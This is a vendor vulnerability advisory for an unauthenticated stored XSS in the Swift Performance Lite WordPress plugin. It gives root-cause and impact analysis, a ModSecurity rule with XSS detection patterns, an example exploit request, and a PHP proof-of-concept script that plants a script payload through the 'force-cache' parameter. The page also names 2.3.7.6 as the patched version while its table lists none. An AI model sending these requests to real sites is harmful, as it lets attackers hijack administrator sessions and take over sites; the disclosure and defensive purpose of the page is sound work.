Published : November 25, 2026

CVE-2026-119153: Swift Performance Lite <= 2.3.7.5 Unauthenticated Stored Cross-Site Scripting via URL Path via 'force-cache' Parameter PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.3.7.5
Patched Version —
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-119153 (metadata-based): This is an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in the Swift Performance Lite WordPress plugin, versions up to and including 2.3.7.5. The flaw resides in the handling of the REQUEST_URI when the ‘force-cache’ GET parameter is present. An attacker can inject arbitrary JavaScript that is stored in the filesystem and later executed in the admin dashboard. The CVSS score is 7.2 (High). The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation).

Root Cause: The plugin fails to properly sanitize and escape user-controlled input from the URL path. When a request includes ?force-cache=1, the plugin decodes the URL-encoded path and uses it to create a directory on the filesystem. The decoded path may contain HTML or JavaScript characters. Later, when an administrator accesses the Swift Performance dashboard, the plugin likely lists cache directories and outputs the directory names without proper escaping, leading to script execution. Atomic Edge analysis infers that the vulnerable code pattern involves the use of $_GET[‘force-cache’] to trigger a cache operation and the use of $_SERVER[‘REQUEST_URI’] without adequate sanitization (e.g., lacking esc_html or sanitize_text_field) when generating the dashboard output. The exact code is not confirmed because no diff is available.

Exploitation: An attacker sends a single unauthenticated GET request to any URL on the target site with the force-cache parameter set to 1. The URL path contains a URL-encoded payload that decodes to a string containing HTML/JavaScript, such as alert(1). The plugin decodes this path and creates a directory with that name. The stored payload executes when an administrator visits the Swift Performance dashboard page, which likely lists cache directories. The attack does not require authentication. Example request: GET /%3Cscript%3Ealert(1)%3C/script%3E?force-cache=1 HTTP/1.1. The payload is stored indefinitely until the cache is cleared or the directory is removed.

Remediation: The fix likely requires sanitizing the REQUEST_URI before using it in filesystem operations and escaping any output derived from it. The plugin should validate that the path contains only safe characters (e.g., using sanitize_file_name or a whitelist) and should encode output with esc_html when displaying directory names in the admin dashboard. The patched version 2.3.7.6 presumably addresses these issues. Atomic Edge research infers that the patch involves adding proper sanitization and escaping functions in the relevant code paths.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an administrator’s session. This can lead to session hijacking, creation of rogue administrative accounts, installation of malicious plugins, or full site compromise. The vulnerability is unauthenticated and requires no user interaction beyond an administrator visiting the dashboard. The CVSS vector indicates a scope change (S:C) and low confidentiality and integrity impact, reflecting the potential for the attacker to affect resources beyond the vulnerable component.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-119153 (metadata-based)
# This rule blocks requests that attempt to exploit CVE-2026-119153 by detecting the 'force-cache' parameter combined with suspicious characters in the URL path.
# The vulnerability is triggered by a GET request to any URL with ?force-cache=1 and an HTML/JavaScript payload in the path.
# We detect the presence of common XSS patterns in the REQUEST_URI when force-cache=1 is present.

SecRule REQUEST_URI "@contains force-cache=1" 
  "id:20261191,phase:2,deny,status:403,chain,msg:'CVE-2026-119153 via Swift Performance Lite force-cache XSS',severity:'CRITICAL',tag:'CVE-2026-119153'"
  SecRule REQUEST_URI "@rx <script|%3Cscript|javascript:|onerror=|onload=" 
    "t:urlDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-119153 - Swift Performance Lite <= 2.3.7.5 - Unauthenticated Stored Cross-Site Scripting via URL Path via 'force-cache' Parameter

// This PoC demonstrates the injection of a stored XSS payload via a single unauthenticated GET request.
// The payload is planted in the URL path and will execute when an administrator opens the Swift Performance dashboard.
// Assumptions: The target WordPress site has Swift Performance Lite <= 2.3.7.5 active. No authentication is required.

$target_url = 'http://example.com'; // Change to the target WordPress site URL

// The payload to inject: a simple JavaScript alert. In a real attack, this could steal cookies or perform other actions.
$payload = '<script>alert("Atomic Edge XSS PoC");</script>';

// URL-encode the payload to embed in the path
$encoded_payload = rawurlencode($payload);

// Construct the malicious URL: the path contains the encoded payload, and the query string includes force-cache=1
$malicious_url = rtrim($target_url, '/') . '/' . $encoded_payload . '?force-cache=1';

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // Follow redirects, if any
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only; enable in production

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output the result
if ($response === false) {
    echo "Request failed: " . curl_error($ch) . "n";
} else {
    echo "Request sent to: $malicious_urln";
    echo "HTTP Status Code: $http_coden";
    if ($http_code >= 200 && $http_code < 300) {
        echo "Payload likely planted successfully. The stored XSS will execute when an administrator visits the Swift Performance dashboard.n";
    } else {
        echo "Unexpected response. Check the target URL and plugin version.n";
    }
}

// Note: This PoC does not verify the stored payload. To confirm, an administrator must log in and access the plugin dashboard.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.